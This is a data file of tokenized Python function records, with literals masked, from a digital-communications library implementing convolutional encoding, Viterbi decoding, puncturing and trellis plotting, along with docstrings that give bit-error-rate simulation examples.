{"signature": "def __init__(self,G = ('<STR_LIT>','<STR_LIT>'), Depth = <NUM_LIT:10>):", "body": "self.G_polys = G<EOL>self.constraint_length = len(self.G_polys[<NUM_LIT:0>]) <EOL>self.Nstates = <NUM_LIT:2>**(self.constraint_length-<NUM_LIT:1>) <EOL>self.decision_depth = Depth<EOL>self.input_zero = trellis_nodes(self.Nstates)<EOL>self.input_one = trellis_nodes(self.Nstates)<EOL>self.paths = trellis_paths(self.Nstates,self.decision_depth)<EOL>self.rate = Fraction(<NUM_LIT:1>,len(G))<EOL>if(len(G) == <NUM_LIT:2> or len(G) == <NUM_LIT:3>):<EOL><INDENT>print('<STR_LIT>' %(self.rate))<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>raise ValueError('<STR_LIT>')<EOL>pass<EOL><DEDENT>for m in range(self.Nstates):<EOL><INDENT>self.input_zero.fn[m] = m<EOL>self.input_one.fn[m] = m<EOL>output0,state0 = self.conv_encoder([<NUM_LIT:0>],<EOL>binary(m,self.constraint_length-<NUM_LIT:1>))<EOL>output1,state1 = self.conv_encoder([<NUM_LIT:1>],<EOL>binary(m,self.constraint_length-<NUM_LIT:1>))<EOL>self.input_zero.tn[m] = int(state0,<NUM_LIT:2>)<EOL>self.input_one.tn[m] = int(state1,<NUM_LIT:2>)<EOL>if(self.rate == Fraction(<NUM_LIT:1>,<NUM_LIT:2>)):<EOL><INDENT>self.input_zero.out_bits[m] = <NUM_LIT:2>*output0[<NUM_LIT:0>] + output0[<NUM_LIT:1>]<EOL>self.input_one.out_bits[m] = <NUM_LIT:2>*output1[<NUM_LIT:0>] + output1[<NUM_LIT:1>]<EOL><DEDENT>elif(self.rate == Fraction(<NUM_LIT:1>,<NUM_LIT:3>)):<EOL><INDENT>self.input_zero.out_bits[m] = <NUM_LIT:4>*output0[<NUM_LIT:0>] + <NUM_LIT:2>*output0[<NUM_LIT:1>] + output0[<NUM_LIT:2>]<EOL>self.input_one.out_bits[m] = <NUM_LIT:4>*output1[<NUM_LIT:0>] + <NUM_LIT:2>*output1[<NUM_LIT:1>] + output1[<NUM_LIT:2>]<EOL><DEDENT><DEDENT>self.branches = trellis_branches(self.Nstates)<EOL>for m in range(self.Nstates):<EOL><INDENT>match_zero_idx = np.where(self.input_zero.tn == m)<EOL>match_one_idx = np.where(self.input_one.tn == m)<EOL>if len(match_zero_idx[<NUM_LIT:0>]) != <NUM_LIT:0>:<EOL><INDENT>self.branches.states1[m] = self.input_zero.fn[match_zero_idx[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>self.branches.states2[m] = self.input_zero.fn[match_zero_idx[<NUM_LIT:0>][<NUM_LIT:1>]]<EOL>self.branches.bits1[m] = self.input_zero.out_bits[match_zero_idx[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>self.branches.bits2[m] = self.input_zero.out_bits[match_zero_idx[<NUM_LIT:0>][<NUM_LIT:1>]]<EOL>self.branches.input1[m] = <NUM_LIT:0><EOL>self.branches.input2[m] = <NUM_LIT:0><EOL><DEDENT>elif len(match_one_idx[<NUM_LIT:0>]) != <NUM_LIT:0>:<EOL><INDENT>self.branches.states1[m] = self.input_one.fn[match_one_idx[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>self.branches.states2[m] = self.input_one.fn[match_one_idx[<NUM_LIT:0>][<NUM_LIT:1>]]<EOL>self.branches.bits1[m] = self.input_one.out_bits[match_one_idx[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>self.branches.bits2[m] = self.input_one.out_bits[match_one_idx[<NUM_LIT:0>][<NUM_LIT:1>]]<EOL>self.branches.input1[m] = <NUM_LIT:1><EOL>self.branches.input2[m] = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "cc1 = fec_conv(G = ('111','101'), Depth = 10)\nInstantiate a Rate 1/2 or Rate 1/3 convolutional \ncoder/decoder object. Polys G1 and G2 are entered \nas binary strings, e.g,\n\nRate 1/2\nG1 = '111' and G2 = '101' for K = 3 and\nG1 = '1111001' and G2 = '1011011' for K = 7.\n\nRate 1/3\nG1 = '111', G2 = '011' and G3 = '101' for K = 3 and\nG1 = '1111001', G2 = '1100101' and G3 = '1011011'\nfor K= 7\n\nThe rate will automatically be selected by the number\nof G polynomials (only rate 1/2 and 1/3 are available)\n\nViterbi decoding has a decision depth of Depth.\n\nData structures than manage the VA are created \nupon instantiation via the __init__ method.\n\nOther ideal polynomial considerations (taken from\n\"Introduction to Digital Communication\" Second Edition\nby Ziemer and Peterson:\n\nRate 1/2\nK=3 ('111','101')\nK=4 ('1111','1101')\nK=5 ('11101','10011')\nK=6 ('111101','101011')\nK=7 ('1111001','1011011')\nK=8 ('11111001','10100111')\nK=9 ('111101011','101110001')\n\nRate 1/3\nK=3 ('111','111','101')\nK=4 ('1111','1101','1011')\nK=5 ('11111','11011','10101')\nK=6 ('111101','101011','100111')\nK=7 ('1111001','1100101','1011011')\nK=8 ('11110111','11011001','10010101')\n\nMark Wickert and Andrew Smit October 2018", "id": "f14897:c3:m0"}
{"signature": "def viterbi_decoder(self,x,metric_type='<STR_LIT>',quant_level=<NUM_LIT:3>):", "body": "if metric_type == '<STR_LIT>':<EOL><INDENT>if np.issubdtype(x.dtype, np.integer):<EOL><INDENT>if x.max() > <NUM_LIT:1> or x.min() < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>cm_present = np.zeros((self.Nstates,<NUM_LIT:1>))<EOL>NS = len(x) <EOL>y = np.zeros(NS-self.decision_depth) <EOL>k = <NUM_LIT:0><EOL>symbolL = self.rate.denominator<EOL>for n in range(<NUM_LIT:0>,NS,symbolL):<EOL><INDENT>cm_past = self.paths.cumulative_metric[:,<NUM_LIT:0>]<EOL>tb_states_temp = self.paths.traceback_states[:,:-<NUM_LIT:1>].copy()<EOL>tb_bits_temp = self.paths.traceback_bits[:,:-<NUM_LIT:1>].copy()<EOL>for m in range(self.Nstates):<EOL><INDENT>d1 = self.bm_calc(self.branches.bits1[m],<EOL>x[n:n+symbolL],metric_type,<EOL>quant_level)<EOL>d1 = d1 + cm_past[self.branches.states1[m]]<EOL>d2 = self.bm_calc(self.branches.bits2[m],<EOL>x[n:n+symbolL],metric_type,<EOL>quant_level)<EOL>d2 = d2 + cm_past[self.branches.states2[m]]<EOL>if d1 <= d2: <EOL><INDENT>cm_present[m] = d1<EOL>self.paths.traceback_states[m,:] = np.hstack((self.branches.states1[m],<EOL>tb_states_temp[int(self.branches.states1[m]),:]))<EOL>self.paths.traceback_bits[m,:] = np.hstack((self.branches.input1[m],<EOL>tb_bits_temp[int(self.branches.states1[m]),:]))<EOL><DEDENT>else:<EOL><INDENT>cm_present[m] = d2<EOL>self.paths.traceback_states[m,:] = np.hstack((self.branches.states2[m],<EOL>tb_states_temp[int(self.branches.states2[m]),:]))<EOL>self.paths.traceback_bits[m,:] = np.hstack((self.branches.input2[m],<EOL>tb_bits_temp[int(self.branches.states2[m]),:]))<EOL><DEDENT><DEDENT>self.paths.cumulative_metric = np.hstack((cm_present, <EOL>self.paths.cumulative_metric[:,:-<NUM_LIT:1>]))<EOL>min_metric = min(self.paths.cumulative_metric[:,<NUM_LIT:0>])<EOL>min_idx = np.where(self.paths.cumulative_metric[:,<NUM_LIT:0>] == min_metric)<EOL>if n >= symbolL*self.decision_depth-symbolL:  <EOL><INDENT>y[k] = self.paths.traceback_bits[min_idx[<NUM_LIT:0>][<NUM_LIT:0>],-<NUM_LIT:1>]<EOL>k += <NUM_LIT:1><EOL><DEDENT><DEDENT>y = y[:k] <EOL>return y<EOL>", "docstring": "A method which performs Viterbi decoding of noisy bit stream,\ntaking as input soft bit values centered on +/-1 and returning \nhard decision 0/1 bits.\n\nParameters\n----------\nx: Received noisy bit values centered on +/-1 at one sample per bit\nmetric_type: \n    'hard' - Hard decision metric. Expects binary or 0/1 input values.\n    'unquant' - unquantized soft decision decoding. Expects +/-1\n        input values.\n    'soft' - soft decision decoding.\nquant_level: The quantization level for soft decoding. Expected \ninput values between 0 and 2^quant_level-1. 0 represents the most \nconfident 0 and 2^quant_level-1 represents the most confident 1. \nOnly used for 'soft' metric type.\n\nReturns\n-------\ny: Decoded 0/1 bit stream\n\nExamples\n--------\n>>> import numpy as np\n>>> from numpy.random import randint\n>>> import sk_dsp_comm.fec_conv as fec\n>>> import sk_dsp_comm.digitalcom as dc\n>>> import matplotlib.pyplot as plt\n>>> # Soft decision rate 1/2 simulation\n>>> N_bits_per_frame = 10000\n>>> EbN0 = 4\n>>> total_bit_errors = 0\n>>> total_bit_count = 0\n>>> cc1 = fec.fec_conv(('11101','10011'),25)\n>>> # Encode with shift register starting state of '0000'\n>>> state = '0000'\n>>> while total_bit_errors < 100:\n>>>     # Create 100000 random 0/1 bits\n>>>     x = randint(0,2,N_bits_per_frame)\n>>>     y,state = cc1.conv_encoder(x,state)\n>>>     # Add channel noise to bits, include antipodal level shift to [-1,1]\n>>>     yn_soft = dc.cpx_AWGN(2*y-1,EbN0-3,1) # Channel SNR is 3 dB less for rate 1/2\n>>>     yn_hard = ((np.sign(yn_soft.real)+1)/2).astype(int)\n>>>     z = cc1.viterbi_decoder(yn_hard,'hard')\n>>>     # Count bit errors\n>>>     bit_count, bit_errors = dc.bit_errors(x,z)\n>>>     total_bit_errors += bit_errors\n>>>     total_bit_count += bit_count\n>>>     print('Bits Received = %d, Bit errors = %d, BEP = %1.2e' %\\\n            (total_bit_count, total_bit_errors,\\\n            total_bit_errors/total_bit_count))\n>>> print('*****************************************************')\n>>> print('Bits Received = %d, Bit errors = %d, BEP = %1.2e' %\\\n        (total_bit_count, total_bit_errors,\\\n        total_bit_errors/total_bit_count))\nRate 1/2 Object\nkmax =  0, taumax = 0\nBits Received = 9976, Bit errors = 77, BEP = 7.72e-03\nkmax =  0, taumax = 0\nBits Received = 19952, Bit errors = 175, BEP = 8.77e-03\n*****************************************************\nBits Received = 19952, Bit errors = 175, BEP = 8.77e-03\n\n\n>>> # Consider the trellis traceback after the sim completes\n>>> cc1.traceback_plot()\n>>> plt.show()\n\n\n>>> # Compare a collection of simulation results with soft decision\n>>> # bounds\n>>> SNRdB = np.arange(0,12,.1)\n>>> Pb_uc = fec.conv_Pb_bound(1/3,7,[4, 12, 20, 72, 225],SNRdB,2)\n>>> Pb_s_third_3 = fec.conv_Pb_bound(1/3,8,[3, 0, 15],SNRdB,1)\n>>> Pb_s_third_4 = fec.conv_Pb_bound(1/3,10,[6, 0, 6, 0],SNRdB,1)\n>>> Pb_s_third_5 = fec.conv_Pb_bound(1/3,12,[12, 0, 12, 0, 56],SNRdB,1)\n>>> Pb_s_third_6 = fec.conv_Pb_bound(1/3,13,[1, 8, 26, 20, 19, 62],SNRdB,1)\n>>> Pb_s_third_7 = fec.conv_Pb_bound(1/3,14,[1, 0, 20, 0, 53, 0, 184],SNRdB,1)\n>>> Pb_s_third_8 = fec.conv_Pb_bound(1/3,16,[1, 0, 24, 0, 113, 0, 287, 0],SNRdB,1)\n>>> Pb_s_half = fec.conv_Pb_bound(1/2,7,[4, 12, 20, 72, 225],SNRdB,1)\n>>> plt.figure(figsize=(5,5))\n>>> plt.semilogy(SNRdB,Pb_uc)\n>>> plt.semilogy(SNRdB,Pb_s_third_3,'--')\n>>> plt.semilogy(SNRdB,Pb_s_third_4,'--')\n>>> plt.semilogy(SNRdB,Pb_s_third_5,'g')\n>>> plt.semilogy(SNRdB,Pb_s_third_6,'--')\n>>> plt.semilogy(SNRdB,Pb_s_third_7,'--')\n>>> plt.semilogy(SNRdB,Pb_s_third_8,'--')\n>>> plt.semilogy([0,1,2,3,4,5],[9.08e-02,2.73e-02,6.52e-03,\\\n                        8.94e-04,8.54e-05,5e-6],'gs')\n>>> plt.axis([0,12,1e-7,1e0])\n>>> plt.title(r'Soft Decision Rate 1/2 Coding Measurements')\n>>> plt.xlabel(r'$E_b/N_0$ (dB)')\n>>> plt.ylabel(r'Symbol Error Probability')\n>>> plt.legend(('Uncoded BPSK','R=1/3, K=3, Soft',\\\n            'R=1/3, K=4, Soft','R=1/3, K=5, Soft',\\\n            'R=1/3, K=6, Soft','R=1/3, K=7, Soft',\\\n            'R=1/3, K=8, Soft','R=1/3, K=5, Sim', \\\n            'Simulation'),loc='upper right')\n>>> plt.grid();\n>>> plt.show()\n\n\n>>> # Hard decision rate 1/3 simulation\n>>> N_bits_per_frame = 10000\n>>> EbN0 = 3\n>>> total_bit_errors = 0\n>>> total_bit_count = 0\n>>> cc2 = fec.fec_conv(('11111','11011','10101'),25)\n>>> # Encode with shift register starting state of '0000'\n>>> state = '0000'\n>>> while total_bit_errors < 100:\n>>>     # Create 100000 random 0/1 bits\n>>>     x = randint(0,2,N_bits_per_frame)\n>>>     y,state = cc2.conv_encoder(x,state)\n>>>     # Add channel noise to bits, include antipodal level shift to [-1,1]\n>>>     yn_soft = dc.cpx_AWGN(2*y-1,EbN0-10*np.log10(3),1) # Channel SNR is 10*log10(3) dB less\n>>>     yn_hard = ((np.sign(yn_soft.real)+1)/2).astype(int)\n>>>     z = cc2.viterbi_decoder(yn_hard.real,'hard')\n>>>     # Count bit errors\n>>>     bit_count, bit_errors = dc.bit_errors(x,z)\n>>>     total_bit_errors += bit_errors\n>>>     total_bit_count += bit_count\n>>>     print('Bits Received = %d, Bit errors = %d, BEP = %1.2e' %\\\n            (total_bit_count, total_bit_errors,\\\n            total_bit_errors/total_bit_count))\n>>> print('*****************************************************')\n>>> print('Bits Received = %d, Bit errors = %d, BEP = %1.2e' %\\\n        (total_bit_count, total_bit_errors,\\\n        total_bit_errors/total_bit_count))\nRate 1/3 Object\nkmax =  0, taumax = 0\nBits Received = 9976, Bit errors = 251, BEP = 2.52e-02\n*****************************************************\nBits Received = 9976, Bit errors = 251, BEP = 2.52e-02\n\n\n>>> # Compare a collection of simulation results with hard decision\n>>> # bounds\n>>> SNRdB = np.arange(0,12,.1)\n>>> Pb_uc = fec.conv_Pb_bound(1/3,7,[4, 12, 20, 72, 225],SNRdB,2)\n>>> Pb_s_third_3_hard = fec.conv_Pb_bound(1/3,8,[3, 0, 15, 0, 58, 0, 201, 0],SNRdB,0)\n>>> Pb_s_third_5_hard = fec.conv_Pb_bound(1/3,12,[12, 0, 12, 0, 56, 0, 320, 0],SNRdB,0)\n>>> Pb_s_third_7_hard = fec.conv_Pb_bound(1/3,14,[1, 0, 20, 0, 53, 0, 184],SNRdB,0)\n>>> Pb_s_third_5_hard_sim = np.array([8.94e-04,1.11e-04,8.73e-06])\n>>> plt.figure(figsize=(5,5))\n>>> plt.semilogy(SNRdB,Pb_uc)\n>>> plt.semilogy(SNRdB,Pb_s_third_3_hard,'r--')\n>>> plt.semilogy(SNRdB,Pb_s_third_5_hard,'g--')\n>>> plt.semilogy(SNRdB,Pb_s_third_7_hard,'k--')\n>>> plt.semilogy(np.array([5,6,7]),Pb_s_third_5_hard_sim,'sg')\n>>> plt.axis([0,12,1e-7,1e0])\n>>> plt.title(r'Hard Decision Rate 1/3 Coding Measurements')\n>>> plt.xlabel(r'$E_b/N_0$ (dB)')\n>>> plt.ylabel(r'Symbol Error Probability')\n>>> plt.legend(('Uncoded BPSK','R=1/3, K=3, Hard',\\\n            'R=1/3, K=5, Hard', 'R=1/3, K=7, Hard',\\\n            ),loc='upper right')\n>>> plt.grid();\n>>> plt.show()\n\n>>> # Show the traceback for the rate 1/3 hard decision case\n>>> cc2.traceback_plot()", "id": "f14897:c3:m1"}
{"signature": "def bm_calc(self,ref_code_bits, rec_code_bits, metric_type, quant_level):", "body": "distance = <NUM_LIT:0><EOL>if metric_type == '<STR_LIT>': <EOL><INDENT>bits = binary(int(ref_code_bits),self.rate.denominator)<EOL>for k in range(len(bits)):<EOL><INDENT>ref_bit = (<NUM_LIT:2>**quant_level-<NUM_LIT:1>)*int(bits[k],<NUM_LIT:2>)<EOL>distance += (int(rec_code_bits[k]) - ref_bit)**<NUM_LIT:2><EOL><DEDENT><DEDENT>elif metric_type == '<STR_LIT>': <EOL><INDENT>bits = binary(int(ref_code_bits),self.rate.denominator)<EOL>for k in range(len(rec_code_bits)):<EOL><INDENT>distance += abs(rec_code_bits[k] - int(bits[k]))<EOL><DEDENT><DEDENT>elif metric_type == '<STR_LIT>': <EOL><INDENT>bits = binary(int(ref_code_bits),self.rate.denominator)<EOL>for k in range(len(bits)):<EOL><INDENT>distance += (float(rec_code_bits[k])-float(bits[k]))**<NUM_LIT:2><EOL><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>raise ValueError('<STR_LIT>')<EOL><DEDENT>return distance<EOL>", "docstring": "distance = bm_calc(ref_code_bits, rec_code_bits, metric_type)\nBranch metrics calculation\n\nMark Wickert and Andrew Smit October 2018", "id": "f14897:c3:m2"}
{"signature": "def conv_encoder(self,input,state):", "body": "output = []<EOL>if(self.rate == Fraction(<NUM_LIT:1>,<NUM_LIT:2>)):<EOL><INDENT>for n in range(len(input)):<EOL><INDENT>u1 = int(input[n])<EOL>u2 = int(input[n])<EOL>for m in range(<NUM_LIT:1>,self.constraint_length):<EOL><INDENT>if int(self.G_polys[<NUM_LIT:0>][m]) == <NUM_LIT:1>: <EOL><INDENT>u1 = u1 ^ int(state[m-<NUM_LIT:1>])<EOL><DEDENT>if int(self.G_polys[<NUM_LIT:1>][m]) == <NUM_LIT:1>: <EOL><INDENT>u2 = u2 ^ int(state[m-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>output = np.hstack((output, [u1, u2]))<EOL>state = bin(int(input[n]))[-<NUM_LIT:1>] + state[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>elif(self.rate == Fraction(<NUM_LIT:1>,<NUM_LIT:3>)):<EOL><INDENT>for n in range(len(input)):<EOL><INDENT>if(int(self.G_polys[<NUM_LIT:0>][<NUM_LIT:0>]) == <NUM_LIT:1>):<EOL><INDENT>u1 = int(input[n])<EOL><DEDENT>else:<EOL><INDENT>u1 = <NUM_LIT:0><EOL><DEDENT>if(int(self.G_polys[<NUM_LIT:1>][<NUM_LIT:0>]) == <NUM_LIT:1>):<EOL><INDENT>u2 = int(input[n])<EOL><DEDENT>else:<EOL><INDENT>u2 = <NUM_LIT:0><EOL><DEDENT>if(int(self.G_polys[<NUM_LIT:2>][<NUM_LIT:0>]) == <NUM_LIT:1>):<EOL><INDENT>u3 = int(input[n])<EOL><DEDENT>else:<EOL><INDENT>u3 = <NUM_LIT:0><EOL><DEDENT>for m in range(<NUM_LIT:1>,self.constraint_length):<EOL><INDENT>if int(self.G_polys[<NUM_LIT:0>][m]) == <NUM_LIT:1>: <EOL><INDENT>u1 = u1 ^ int(state[m-<NUM_LIT:1>])<EOL><DEDENT>if int(self.G_polys[<NUM_LIT:1>][m]) == <NUM_LIT:1>: <EOL><INDENT>u2 = u2 ^ int(state[m-<NUM_LIT:1>])<EOL><DEDENT>if int(self.G_polys[<NUM_LIT:2>][m]) == <NUM_LIT:1>: <EOL><INDENT>u3 = u3 ^ int(state[m-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>output = np.hstack((output, [u1, u2, u3]))<EOL>state = bin(int(input[n]))[-<NUM_LIT:1>] + state[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return output, state<EOL>", "docstring": "output, state = conv_encoder(input,state)\nWe get the 1/2 or 1/3 rate from self.rate\nPolys G1 and G2 are entered as binary strings, e.g,\nG1 = '111' and G2 = '101' for K = 3\nG1 = '1011011' and G2 = '1111001' for K = 7\nG3 is also included for rate 1/3\nInput state as a binary string of length K-1, e.g., '00' or '0000000' \ne.g., state = '00' for K = 3\ne.g., state = '000000' for K = 7\nMark Wickert and Andrew Smit 2018", "id": "f14897:c3:m3"}
{"signature": "def puncture(self,code_bits,puncture_pattern = ('<STR_LIT>','<STR_LIT>')):", "body": "<EOL>L_pp = len(puncture_pattern[<NUM_LIT:0>])<EOL>N_codewords = int(np.floor(len(code_bits)/float(<NUM_LIT:2>)))<EOL>if <NUM_LIT:2>*N_codewords != len(code_bits):<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL>warnings.warn('<STR_LIT>')<EOL>code_bits = code_bits[:<NUM_LIT:2>*N_codewords]<EOL><DEDENT>x_G1 = code_bits.reshape(N_codewords,<NUM_LIT:2>).take([<NUM_LIT:0>],<EOL>axis=<NUM_LIT:1>).reshape(<NUM_LIT:1>,N_codewords).flatten()<EOL>x_G2 = code_bits.reshape(N_codewords,<NUM_LIT:2>).take([<NUM_LIT:1>],<EOL>axis=<NUM_LIT:1>).reshape(<NUM_LIT:1>,N_codewords).flatten()<EOL>N_punct_periods = int(np.floor(N_codewords/float(L_pp)))<EOL>if L_pp*N_punct_periods != N_codewords:<EOL><INDENT>warnings.warn('<STR_LIT>' % L_pp)<EOL>warnings.warn('<STR_LIT>')<EOL>x_G1 = x_G1[:L_pp*N_punct_periods]<EOL>x_G2 = x_G2[:L_pp*N_punct_periods]<EOL><DEDENT>g1_pp1 = [k for k,g1 in enumerate(puncture_pattern[<NUM_LIT:0>]) if g1 == '<STR_LIT:1>']<EOL>g2_pp1 = [k for k,g2 in enumerate(puncture_pattern[<NUM_LIT:1>]) if g2 == '<STR_LIT:1>']<EOL>N_pp = len(g1_pp1)<EOL>y_G1 = x_G1.reshape(N_punct_periods,L_pp).take(g1_pp1,<EOL>axis=<NUM_LIT:1>).reshape(N_pp*N_punct_periods,<NUM_LIT:1>)<EOL>y_G2 = x_G2.reshape(N_punct_periods,L_pp).take(g2_pp1,<EOL>axis=<NUM_LIT:1>).reshape(N_pp*N_punct_periods,<NUM_LIT:1>)<EOL>y = np.hstack((y_G1,y_G2)).reshape(<NUM_LIT:1>,<NUM_LIT:2>*N_pp*N_punct_periods).flatten()<EOL>return y<EOL>", "docstring": "Apply puncturing to the serial bits produced by convolutionally\nencoding.\n\n:param code_bits:\n:param puncture_pattern:\n:return:\n\nExamples\n--------\nThis example uses the following puncture matrix:\n\n.. math::\n\n   \\\\begin{align*}\n       \\\\mathbf{A} = \\\\begin{bmatrix}\n        1 & 1 & 0 \\\\\\\\\n        1 & 0 & 1\n        \\\\end{bmatrix}\n   \\\\end{align*}\n\nThe upper row operates on the outputs for the :math:`G_{1}` polynomial and the lower row operates on the outputs of\nthe  :math:`G_{2}`  polynomial.\n\n>>> import numpy as np\n>>> from sk_dsp_comm.fec_conv import fec_conv\n>>> cc = fec_conv(('101','111'))\n>>> x = np.array([0, 0, 1, 1, 1, 0, 0, 0, 0, 0])\n>>> state = '00'\n>>> y, state = cc.conv_encoder(x, state)\n>>> cc.puncture(y, ('110','101'))\narray([ 0.,  0.,  0.,  1.,  1.,  0.,  0.,  0.,  1.,  1.,  0.,  0.])", "id": "f14897:c3:m4"}
{"signature": "def depuncture(self,soft_bits,puncture_pattern = ('<STR_LIT>','<STR_LIT>'),<EOL>erase_value = <NUM_LIT>):", "body": "<EOL>L_pp = len(puncture_pattern[<NUM_LIT:0>])<EOL>L_pp1 = len([g1 for g1 in puncture_pattern[<NUM_LIT:0>] if g1 == '<STR_LIT:1>'])<EOL>L_pp0 = len([g1 for g1 in puncture_pattern[<NUM_LIT:0>] if g1 == '<STR_LIT:0>'])<EOL>N_softwords = int(np.floor(len(soft_bits)/float(<NUM_LIT:2>)))<EOL>if <NUM_LIT:2>*N_softwords != len(soft_bits):<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL>warnings.warn('<STR_LIT>')<EOL>soft_bits = soft_bits[:<NUM_LIT:2>*N_softwords]<EOL><DEDENT>x_G1 = soft_bits.reshape(N_softwords,<NUM_LIT:2>).take([<NUM_LIT:0>],<EOL>axis=<NUM_LIT:1>).reshape(<NUM_LIT:1>,N_softwords).flatten()<EOL>x_G2 = soft_bits.reshape(N_softwords,<NUM_LIT:2>).take([<NUM_LIT:1>],<EOL>axis=<NUM_LIT:1>).reshape(<NUM_LIT:1>,N_softwords).flatten()<EOL>N_punct_periods = int(np.floor(N_softwords/float(L_pp1)))<EOL>if L_pp1*N_punct_periods != N_softwords:<EOL><INDENT>warnings.warn('<STR_LIT>' % L_pp1)<EOL>warnings.warn('<STR_LIT>')<EOL>warnings.warn('<STR_LIT>')<EOL>x_G1 = x_G1[:L_pp1*N_punct_periods]<EOL>x_G2 = x_G2[:L_pp1*N_punct_periods]<EOL><DEDENT>x_G1 = x_G1.reshape(N_punct_periods,L_pp1)<EOL>x_G2 = x_G2.reshape(N_punct_periods,L_pp1)<EOL>g1_pp1 = [k for k,g1 in enumerate(puncture_pattern[<NUM_LIT:0>]) if g1 == '<STR_LIT:1>']<EOL>g1_pp0 = [k for k,g1 in enumerate(puncture_pattern[<NUM_LIT:0>]) if g1 == '<STR_LIT:0>']<EOL>g2_pp1 = [k for k,g2 in enumerate(puncture_pattern[<NUM_LIT:1>]) if g2 == '<STR_LIT:1>']<EOL>g2_pp0 = [k for k,g2 in enumerate(puncture_pattern[<NUM_LIT:1>]) if g2 == '<STR_LIT:0>']<EOL>x_E = erase_value*np.ones((N_punct_periods,L_pp0))<EOL>y_G1 = np.hstack((x_G1,x_E))<EOL>y_G2 = np.hstack((x_G2,x_E))<EOL>[g1_pp1.append(val) for idx,val in enumerate(g1_pp0)]<EOL>g1_comp = list(zip(g1_pp1,list(range(L_pp))))<EOL>g1_comp.sort()<EOL>G1_col_permute = [g1_comp[idx][<NUM_LIT:1>] for idx in range(L_pp)]<EOL>[g2_pp1.append(val) for idx,val in enumerate(g2_pp0)]<EOL>g2_comp = list(zip(g2_pp1,list(range(L_pp))))<EOL>g2_comp.sort()<EOL>G2_col_permute = [g2_comp[idx][<NUM_LIT:1>] for idx in range(L_pp)]<EOL>y = np.hstack((y_G1[:,G1_col_permute].reshape(L_pp*N_punct_periods,<NUM_LIT:1>),<EOL>y_G2[:,G2_col_permute].reshape(L_pp*N_punct_periods,<EOL><NUM_LIT:1>))).reshape(<NUM_LIT:1>,<NUM_LIT:2>*L_pp*N_punct_periods).flatten()<EOL>return y<EOL>", "docstring": "Apply de-puncturing to the soft bits coming from the channel. Erasure bits\nare inserted to return the soft bit values back to a form that can be\nViterbi decoded.\n\n:param soft_bits:\n:param puncture_pattern:\n:param erase_value:\n:return:\n\nExamples\n--------\nThis example uses the following puncture matrix:\n\n.. math::\n\n   \\\\begin{align*}\n       \\\\mathbf{A} = \\\\begin{bmatrix}\n        1 & 1 & 0 \\\\\\\\\n        1 & 0 & 1\n        \\\\end{bmatrix}\n   \\\\end{align*}\n\nThe upper row operates on the outputs for the :math:`G_{1}` polynomial and the lower row operates on the outputs of\nthe  :math:`G_{2}`  polynomial.\n\n>>> import numpy as np\n>>> from sk_dsp_comm.fec_conv import fec_conv\n>>> cc = fec_conv(('101','111'))\n>>> x = np.array([0, 0, 1, 1, 1, 0, 0, 0, 0, 0])\n>>> state = '00'\n>>> y, state = cc.conv_encoder(x, state)\n>>> yp = cc.puncture(y, ('110','101'))\n>>> cc.depuncture(yp, ('110', '101'), 1)\narray([ 0., 0., 0., 1., 1., 1., 1., 0., 0., 1., 1., 0., 1., 1., 0., 1., 1., 0.]", "id": "f14897:c3:m5"}
{"signature": "def trellis_plot(self,fsize=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "branches_from = self.branches<EOL>plt.figure(figsize=fsize)<EOL>plt.plot(<NUM_LIT:0>,<NUM_LIT:0>,'<STR_LIT:.>')<EOL>plt.axis([-<NUM_LIT>, <NUM_LIT>, -(self.Nstates-<NUM_LIT:1>)-<NUM_LIT>, <NUM_LIT>])<EOL>for m in range(self.Nstates):<EOL><INDENT>if branches_from.input1[m] == <NUM_LIT:0>:<EOL><INDENT>plt.plot([<NUM_LIT:0>, <NUM_LIT:1>],[-branches_from.states1[m], -m],'<STR_LIT:b>')<EOL>plt.plot([<NUM_LIT:0>, <NUM_LIT:1>],[-branches_from.states1[m], -m],'<STR_LIT>')<EOL><DEDENT>if branches_from.input2[m] == <NUM_LIT:0>:<EOL><INDENT>plt.plot([<NUM_LIT:0>, <NUM_LIT:1>],[-branches_from.states2[m], -m],'<STR_LIT:b>')<EOL>plt.plot([<NUM_LIT:0>, <NUM_LIT:1>],[-branches_from.states2[m], -m],'<STR_LIT>')<EOL><DEDENT>if branches_from.input1[m] == <NUM_LIT:1>:<EOL><INDENT>plt.plot([<NUM_LIT:0>, <NUM_LIT:1>],[-branches_from.states1[m], -m],'<STR_LIT:g>')<EOL>plt.plot([<NUM_LIT:0>, <NUM_LIT:1>],[-branches_from.states1[m], -m],'<STR_LIT>')<EOL><DEDENT>if branches_from.input2[m] == <NUM_LIT:1>:<EOL><INDENT>plt.plot([<NUM_LIT:0>, <NUM_LIT:1>],[-branches_from.states2[m], -m],'<STR_LIT:g>')<EOL>plt.plot([<NUM_LIT:0>, <NUM_LIT:1>],[-branches_from.states2[m], -m],'<STR_LIT>')<EOL><DEDENT><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>msg = '<STR_LIT>' %(self.rate, int(np.ceil(np.log2(self.Nstates)+<NUM_LIT:1>)))<EOL>plt.title(msg)<EOL>", "docstring": "Plots a trellis diagram of the possible state transitions.\n\nParameters\n----------\nfsize : Plot size for matplotlib.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm.fec_conv import fec_conv\n>>> cc = fec_conv()\n>>> cc.trellis_plot()\n>>> plt.show()", "id": "f14897:c3:m6"}
